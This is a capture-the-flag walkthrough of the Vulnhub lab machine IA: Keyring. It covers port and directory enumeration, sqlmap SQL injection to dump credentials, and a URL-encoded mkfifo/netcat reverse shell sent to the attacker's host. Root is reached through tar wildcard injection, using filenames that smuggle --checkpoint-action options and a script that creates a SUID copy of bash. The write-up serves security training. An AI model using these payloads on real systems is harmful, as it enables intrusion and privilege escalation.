IA: Keyring Vulnhub Official Writeup

IA: Keyring is an intermediate level boot2root machine available on Vulnhub. This includes exploiting a SQLi to leak credentials and then getting a RCE to get the shell on the machine. Then for the root part we need to exploit a custom SUID binary which is vulnerable to Wildcard Injection.

IA: Keyring Vulnhub Official Writeup

Challenge Link : https://vulnhub.com/entry/ia-keyring-101,718/

Network Enumeration

I started the initial enumeration by running a port scan using nmap looking for open ports and default scripts.

┌──(madhav㉿kali)-[~/ctf/vulnhub/keyring]
└─$ nmap -sC -sV -oN nmap/initial 192.168.180.17
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-09 22:03 IST
Nmap scan report for 192.168.180.17
Host is up (0.010s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8debfd0a768a2a756e9b6e7b51c428db (RSA)
|   256 533135c03aa0482f3a79f556cd3c63ee (ECDSA)
|_  256 8d7bd3c9156103b1b5f1d2ed2c015565 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.54 seconds

We have only two ports open. We have SSH running on port 22 and Apache http web server running on port 80. Let us start the enumeration with port 80 first.

Web Enumeration

When we open the IP address in our web browser, we get a signup page. Let us start by creating an account here.

After creating an account, we can login using the login page.

Once we are logged in, we are redirected to the dashboard page.

The dashboard.php has four different pages but they do not have any useful information. So next I ran a gobuster scan to look for hidden files and directories.

┌──(madhav㉿kali)-[~/ctf/vulnhub/keyring]
└─$ gobuster dir -u http://192.168.180.17 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .html,.php,.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.180.17
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Extensions:              html,php,txt
[+] Timeout:                 10s
===============================================================
2022/11/09 22:23:52 Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 279]
/about.php            (Status: 302) [Size: 561] [--> index.php]
/home.php             (Status: 302) [Size: 561] [--> index.php]
/login.php            (Status: 200) [Size: 1466]
/.html                (Status: 403) [Size: 279]
/index.php            (Status: 200) [Size: 3254]
/history.php          (Status: 200) [Size: 31]
/logout.php           (Status: 302) [Size: 0] [--> index.php]
/control.php          (Status: 302) [Size: 561] [--> index.php]
/.html                (Status: 403) [Size: 279]
/.php                 (Status: 403) [Size: 279]
/server-status        (Status: 403) [Size: 279]
Progress: 882165 / 882244
2022/11/09 22:43:59 Finished
===============================================================

We have a new file named history.php but when we visit the page, we get a blank page. Let us try fuzzing some parameters here. I will be using ffuf for this.

┌──(madhav㉿kali)-[~/ctf/vulnhub/keyring]
└─$ ffuf -u http://192.168.180.17/history.php?FUZZ=testuser01 -w /usr/share/wordlists/dirb/big.txt -b "PHPSESSID=agcc4727jrvhbi2qi3811iaj26" -fs 0

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.180.17/history.php?FUZZ=testuser01
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Header           : Cookie: PHPSESSID=agcc4727jrvhbi2qi3811iaj26
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
________________________________________________

user                    [Status: 200, Size: 163, Words: 5, Lines: 1, Duration: 26ms]
:: Progress: [20469/20469] :: Job [1/1] :: 1563 req/sec :: Duration: [0:00:20] :: Errors: 0 ::

We found a parameter named user which shows us the pages visited by the user.

Next I used the sqlmap tool to check if the user parameter is vulnerable to SQL Injection and dumped all the data from the database.

┌──(madhav㉿kali)-[~/ctf/vulnhub/keyring]
└─$ sqlmap -u http://192.168.180.17/history.php?user=admin --cookie="PHPSESSID=agcc4727jrvhbi2qi3811iaj26" --dump

We got some credentials and a link to a GitHub repo. Let's save the credentials for later and visit the GitHub repository first.

User Shell

The GitHub repo contains the source code of the website.

On analyzing the source code of control.php, we can see that there is a parameter named cmdcntr which can be used to execute commands on the system.

First we need to authenticate as the admin user. We can use the credentials that we found earlier.

Next, I generated a reverse shell payload using revshells.com. Also we need to url-encode the payload for it to work properly.

http://192.168.180.17/control.php?cmdcntr=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20192.168.180.134%209001%20%3E%2Ftmp%2Ff

After executing the payload, we got a shell on the target machine.

┌──(madhav㉿kali)-[~/ctf/vulnhub/keyring]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.180.134] from (UNKNOWN) [192.168.180.17] 55274
sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@keyring:/var/www/html$

Next I checked the home directory and there is a user named john but we do not have access to its home directory.

We can try logging in with the password we found from SQL injection for user john.

www-data@keyring:/home$ ls
john
www-data@keyring:/home$ su john
Password: Sup3r$S3cr3t$PasSW0RD

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

john@keyring:/home$

We can now read the user flag present in the home directory of user john.

john@keyring:/home$ cd john
cd john
john@keyring:~$ ls
ls
compress  user.txt
john@keyring:~$ cat user.txt
cat user.txt

[ Keyring - User Owned ]
----------------------------------------------
Flag : VEhNe0Jhc2hfMXNfRnVuXzM4MzEzNDJ9Cg==
----------------------------------------------
by infosecarticles with <3

Root Shell

Inside the home folder of user john, there is a file named compress which is a SUID. (We can see that by looking at its permissions).

john@keyring:~$ ls -lah
total 48K
drwxr-x--- 3 john john 4.0K Nov  9 23:19 .
drwxr-xr-x 3 root root 4.0K Jun  7  2021 ..
lrwxrwxrwx 1 john john    9 Jun 20  2021 .bash_history -> /dev/null
-rw-r--r-- 1 john john  220 Jun  7  2021 .bash_logout
-rw-r--r-- 1 john john 3.7K Jun  7  2021 .bashrc
-rwsr-xr-x 1 root root  17K Jun 20  2021 compress
drwx------ 3 john john 4.0K Nov  9 23:19 .gnupg
-rw-r--r-- 1 john john  807 Jun  7  2021 .profile
-rw-rw-r-- 1 john john  192 Jun 20  2021 user.txt

Let's download this file on our computer and open it in ghidra.

We can see that this binary is simply executing the command /bin/tar cf archive.tar *.

Notice the * in the end, it will compress everything that is present in the current directory. This file is vulnerable to Wildcard Injection attack.

To exploit this, we need to create a bash script which will contain the payload that we need to execute. Let's call it shell.sh.

I will simply use a payload which will copy /bin/bash to /tmp/bash and then give it SUID permissions.

john@keyring:~$ echo "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > shell.sh
john@keyring:~$ cat shell.sh
cp /bin/bash /tmp/bash;chmod +s /tmp/bash

Next we need to create two files which will execute our payload.

john@keyring:~$ echo "" > "--checkpoint-action=exec=sh shell.sh"
john@keyring:~$ echo "" > --checkpoint=1

Now we have all the files we need.

john@keyring:~$ ls -lah
total 60K
drwxr-x--- 3 john john 4.0K Nov  9 23:35  .
drwxr-xr-x 3 root root 4.0K Jun  7  2021  ..
lrwxrwxrwx 1 john john    9 Jun 20  2021  .bash_history -> /dev/null
-rw-r--r-- 1 john john  220 Jun  7  2021  .bash_logout
-rw-r--r-- 1 john john 3.7K Jun  7  2021  .bashrc
-rw-rw-r-- 1 john john    1 Nov  9 23:35 '--checkpoint=1'
-rw-rw-r-- 1 john john    1 Nov  9 23:35 '--checkpoint-action=exec=sh shell.sh'
-rwsr-xr-x 1 root root  17K Jun 20  2021  compress
drwx------ 3 john john 4.0K Nov  9 23:19  .gnupg
-rw-r--r-- 1 john john  807 Jun  7  2021  .profile
-rw-rw-r-- 1 john john   42 Nov  9 23:34  shell.sh
-rw-rw-r-- 1 john john  192 Jun 20  2021  user.txt

Now after running the compress binary, the payload will be executed and we will get a binary named bash in the /tmp directory.

To get a root shell, now we simply need to run ./bash -p command.

john@keyring:~$ ./compress
john@keyring:~$ ls -lah /tmp
total 1.1M
drwxrwxrwt  2 root     root     4.0K Nov  9 23:35 .
drwxr-xr-x 23 root     root     4.0K Jun  7  2021 ..
-rwsr-sr-x  1 root     root     1.1M Nov  9 23:35 bash
prw-r--r--  1 www-data www-data    0 Nov  9 23:36 f
john@keyring:~$ cd /tmp
john@keyring:/tmp$ ./bash -p
bash-4.4# id
id
uid=1000(john) gid=1000(john) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare),1000(john)

We have a root shell and now we can read our final flag present in the /root directory.

bash-4.4# cd /root
bash-4.4# ls
root.txt
bash-4.4# cat root.txt

[ Keyring - Rooted ]
---------------------------------------------------
Flag : VEhNe0tleXIxbmdfUjAwdDNEXzE4MzEwNTY3fQo=
---------------------------------------------------
by infosecarticles with <3

That’s it! Thanks for reading. Stay tuned for similar walkthroughs and much more coming up in the near future!

NOTE: The awesome artwork used in this article was created by Christi du Toit.